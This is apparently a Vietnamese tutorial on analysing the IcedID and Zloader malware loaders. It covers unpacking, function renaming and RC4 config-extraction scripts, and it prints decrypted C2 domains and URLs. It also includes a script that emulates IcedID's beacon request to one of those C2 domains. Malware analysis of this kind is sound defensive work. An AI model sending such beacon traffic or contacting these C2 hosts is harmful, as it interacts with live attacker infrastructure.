## Thực hành phân tích IcedID tại bước 2 - Loaders
IcedID là mẫu mã độc sẽ được sử dụng trong suốt quá trình học và được phân tích đầy đủ ở các phần sau.
Mở nó bằng PE Studio, ta có thể thấy entropy khá cao và nó chỉ được Import 2 thư viện là Kernel32.dll và Ole32.dll => khả năng cao đã được packed.
Mở nó bằng x32dbg và đặt breakpoint tại một số WinAPI bằng lệnh:
* `bp VirtualAlloc`
* `bp VirtualProtect`
* `bp CreateProcessInternalW`
* `bp IsDebuggerPresent`
Mở thêm **ProcessHacker** để theo dõi khi có tiến trình hoặc luồng được tạo. Còn ở **x32dbg** ta chạy chương trình. Điểm dừng đầu tiên tại VirtualAlloc, khi gặp VirtualAlloc ta sẽ thực hiện: Execute till Return -> Follow in Dump -> Run để xem memory vừa được khởi tạo. Thực hiện liên tục 3 lần ta được **M8Z Header**, đây là dấu hiệu của tệp PE nén bằng APlib.

Ta cần tệp thực thi đã giải nén trong bộ nhớ. Điểm dừng tiếp theo tại VirtualProtect. Ta thực hiện Execute till Return -> StepOver để quan sát từng lệnh. Tiến hành dump memory ở các vùng nhớ thao tác với thanh ghi, ta đến lệnh chuyển giá trị [ebx + 7014c2] cho ESI. Tại đây ta dump được tệp thực thi đã được giải nén. Nếu chúng ta cuộn lên đầu, có thể thấy tệp thực thi đã nén ở phía trên tệp đã giải nén. Ta lưu lại phần memory dump này thành tệp bằng lệnh: `savedata <file_name>,<start>,<len>`

Mở tệp dump bằng IDA. Hàm start gọi hàm `sub_4014F9` sau đó kết thúc chương trình. Ta có thể xác định vai trò và đổi tên một số hàm:
* `sub_4014F9` thành `main`
* `sub_40180F` thành `init_scramble_rc4`
* `sub_40186E` thành `rc4_decrypt`
* `sub_4010F6` thành `antiDebug_TickCount`
* `sub_40164B` thành `check_C2_available`
* `sub_401224` thành `communicate_routine`
Hàm `main` kiểm tra nếu thư mục AppData không tồn tại, nó sẽ tạo thư mục Public hoặc thêm một dấu gạch chéo nếu thư mục AppData tồn tại. Sau đó, nó nối thêm các chuỗi khác để tạo thành đường dẫn tệp đầy đủ. Rồi gọi GetUserNameA để lấy tên người dùng hiện tại và tạo một thư mục với tên tệp photo.png trong đường dẫn đã tạo ra trước đó.
Hàm `sub_401000` gọi CreateFileA để kiểm tra xem tệp photo.png có tồn tại trên đĩa không. Nếu tệp đã tồn tại, chương trình sẽ đọc tệp này vào bộ nhớ và có thể thực thi payload từ đó, thay vì tải xuống từ máy chủ điều khiển (C2).
Nếu tệp không tồn tại, chương trình sẽ kết nối đến máy chủ C2 để tải xuống payload. Nó sẽ thực hiện việc này bằng cách sử dụng **WinHTTP** để kết nối tới máy chủ điều khiển. Chuỗi URL đã được định dạng trước đó với photo.png và các thông tin liên quan khác. Payload tải xuống sẽ được lưu vào tệp photo.png và giải mã bằng RC4, sau đó sẽ được thực thi.
Nếu máy chủ trả về mã trạng thái 200, tức máy chủ đang hoạt động, chương trình sẽ phá vỡ vòng lặp và tiếp tục thực thi. Nếu không, nó sẽ thử kết nối với một URL khác từ danh sách URL được nạp trong cấu hình.
Khi payload đã được tải xuống và lưu trữ, chương trình sẽ ghi dữ liệu vào tệp photo.png, sau đó nó gọi một subroutine khác để phân bổ vùng nhớ cho payload. Sau đó, nó sao chép payload vào bộ nhớ đã phân bổ, thực hiện cấp quyền bảo vệ bộ nhớ và cuối cùng là thực thi payload đã được giải mã.

Trong hàm `communicate_routine` ta vẫn chưa tìm được URL của máy chủ C2C, nó được gán bằng bởi giá trị tại unk_403050. Giá trị có tham chiếu bởi hàm `sub_4013EB` - chưa xác định được vai trò.

Hàm sub_4013EB sử dụng VirtualAlloc và VirtualProtect cho một hàm và giá trị trả về là hàm được gọi ngay sau đó. Ta debug, chương trình sẽ giải mã các đường dẫn URL để tải payload về.

## Viết trình trích cấu hình mã độc
Đáng tiếc là các đường dẫn ấy đều đẫ chết nên ta không thể tải payload về và tiếp tục phân tích. Hiện tại ta có thể viết đoạn mã để trích các cấu hình trong mã độc.
:::info
```python
from arc4 import ARC4
import pefile
def rc4_decrypt(key, data):
cipher = ARC4(key)
decrypted = cipher.decrypt(data)
return decrypted.decode('utf-8', errors='ignore')
def config_extract(filename):
pe = pefile.PE(filename)
for section in pe.sections:
if b".data" in section.Name:
return section.get_data()
def main():
filename = input("Filename: ")
data = config_extract(filename)
key = data[:8]
data = data[8:592]
print(rc4_decrypt(key, data))
if __name__ == "__main__":
main()
```
:::
:::success
```
python icedid_extract.py
Filename: dump_icedid.bin
```
```
/index.php
boldidiotruss.xyz
nizaoplov.xyz
153ishak.best
ilu21plane.xyz
```
:::
## Viết trình giả lập giao tiếp
:::info
```python
import pefile
from arc4 import ARC4
import binascii
import requests
class Emulator():
def __init__(self, url):
self.url = url
def build_url(self):
config_val = #0x1E3D33FB
timestamp = #0x3A299B54
pcinfo = #"0000000000FF4F00000006"
placeholder = "/photo.png?id=%0.2X%0.8X%0.8X%s"
placeholder = placeholder % (1, config_val, timestamp, pcinfo)
packet_to_send = self.url + placeholder
return packet_to_send
def send_request(self, data):
r = requests.get(url=data)
print(r.content)
class Config_Extract():
def __init__(self, filename):
self.filename = filename
def rc4_decrypt(self, key, data):
cipher = ARC4(key)
decrypted = cipher.decrypt(data)
return decrypted
def config_extract(self):
pe = pefile.PE(self.filename)
for section in pe.sections:
if b".data" in section.Name:
return section.get_data()
def main():
filename = input("Filename: ")
extractor = Config_Extract(filename)
data = extractor.config_extract()
key = data[8:16]
data = data[16:608]
print(extractor.rc4_decrypt(key, data))
emulate = Emulator("https://boldidiotruss.xyz")
data_to_send = emulate.build_url()
emulate.send_request(data_to_send)
if __name__ == "__main__":
main()
```
:::
## Thực hành phân tích Zloader tại bước 2 - Loaders
Phân tích Zloader sẽ khó và bị làm rối nhiều hơn so với mẫu IcedID phần trước. Tại bước 1 (Initial Stages) của nó liên quan đến việc sử dụng PE injection để tiêm vào msiexec.exe, tạo ra một quá trình và sau đó tiêm vào nó. Khi tiêm vào msiexec, nó không gọi vào DLL EntryPoint hoặc RegisterServer, mà thực sự gọi một hàm khác trong tệp nhị phân. Trong trường hợp này, IDA không nhận ra đây là một hàm vì nó không được tham chiếu ở bất kỳ đâu do Zloader làm rối.
Nếu làm từ đầu, ta đặt điểm dừng tại `CreateProcessInternalW, ResumeThread, CreateThread` Ta attach luồng được tạo và đến hàm này. Hàm chúng ta bắt đầu phân tích là `sub_63CA20()`
Nhìn qua hàm `sub_645570()` ta thấy nó được gọi rất nhiều lần và được truyền nhiều giá trị khác nhau. Tham số thứ nhất là 0 hoặc 1, tham số thứ hai là giá trị hex. Ta có thể giả định đây là tìm giá trị API thông qua API băm. Ta đặt tên cho hàm là `api_hashing`

Trong hàm `api_hashing` có hàm `sub_644FF0` sử dụng chuỗi byte. Ta đoán rằng đây có thể sẽ là một danh sách các DLL mà nó sẽ sử dụng để tải. Có thể là kernel32, ntdll,... và giá trị được truyền như tham số đầu tiên tương ứng với DLL đó, giúp tiết kiệm thời gian tìm DLL trong PEB của quá trình và sau đó băm các DLL khác nhau được tìm thấy để xem liệu nó có khớp hay không. Ta tạm đặt tên cho hàm là `str_decrypt()`

Ta quan sát hàm `sub_63CCE0`, hàm chứa một số hàm nhỏ và chứa một giá trị chưa xác định và dường như là một chuỗi. IDA nhận ra và tất cả các ký tự đều là chữ thường. Nó không giống như các byte ngẫu nhiên như những thứ khác ở đây, vì vậy điều này có thể là một chuỗi mã hóa hoặc mật mã gì đó bên trong.

Phần này ta chú trọng tìm kiếm cấu hình. Nếu chúng ta bước vào hàm này, chúng ta có thể thấy có khá nhiều hàm nữa. Ta có thể đặt tên cho một số hàm:
* biến `a1` thành `possible_config` (unk_649004 là chuỗi byte)
* chuỗi `unk_64BA40` thành `sus_string`
* chuỗi `dword_64BA3C` thành `pointer_to_config`
* `sub_63D7B0` thành `zloader_memcpy` , biến v3 copy từ a1 => đổi tên biến thành new_a1
* `sub_647C90` thành `ret_this`
* `sub_644910` thành `zloader_memcpy_unknown_size` do size của a2 chưa biết
* `sub_63EA90` thành `size_of_str`

Hàm sub_63C290() sau khi được chỉnh sửa khá đẹp. Nó gọi hàm sub_637DE0, hàm này lại gọi 2 hàm con là sub_63A3A0 và sub_641920.

Hàm sub_63A3A0 có nhiều điểm tương đồng với thuật toán mã hóa RC4.

Kết quả ta thu được của hàm sub_63D530 sau khi phân tích vai trò các hàm và đổi tên.

Vậy biến a2 là chuỗi ký tự 20 byte được copy vào `sus_string` và hàm giải mã RC4 sử dụng biến `ptr_pointer_to_config` và `sus_string` làm tham số.

## Viết trình trích cấu hình mã độc
Ta có thể viết đoạn mã để trích các cấu hình trong mã độc. Ta biết chuỗi ký tự 20 byte là key của thuật toán mã hóa RC4, ta sẽ sử dụng Regex - biểu thức chính quy để tìm chuỗi 20 byte ấy. Từ đó có thể tìm config được mã hóa của mã độc.
:::info
```python
import pefile
from arc4 import ARC4
import binascii
import re
def rc4_decrypt(key, data):
cipher = ARC4(key)
return cipher.decrypt(data)
def locate_config_key(data):
pattern = b'[a-z]{20}'
match_object = re.search(pattern, data)
key = data[match_object.start():match_object.end()]
config = data[(match_object.start()-751):match_object.start()]
return key, config
def retrieve_config(filename):
pe = pefile.PE(filename)
for section in pe.sections:
if b".data" in section.Name:
data_section = section.get_data()
break
data_section = data_section[4:]
return locate_config_key(data_section)
def main():
filename = input("Zloader Binary: ")
key, encrypted_config = retrieve_config(filename)
decrypted_config = rc4_decrypt(key,encrypted_config)
decrypted_config = decrypted_config.decode('utf-8')
print(decrypted_config)
if __name__ == "__main__":
main()
```
:::
:::success
```
>python zloader_extract.py
Filename: zloader.bin
```
```
25/03
https://wgyvjbse.pw/milagrecf.php
https://botiq.xyz/milagrecf.php
41997b4a729e1a0175208305170752dd
```
:::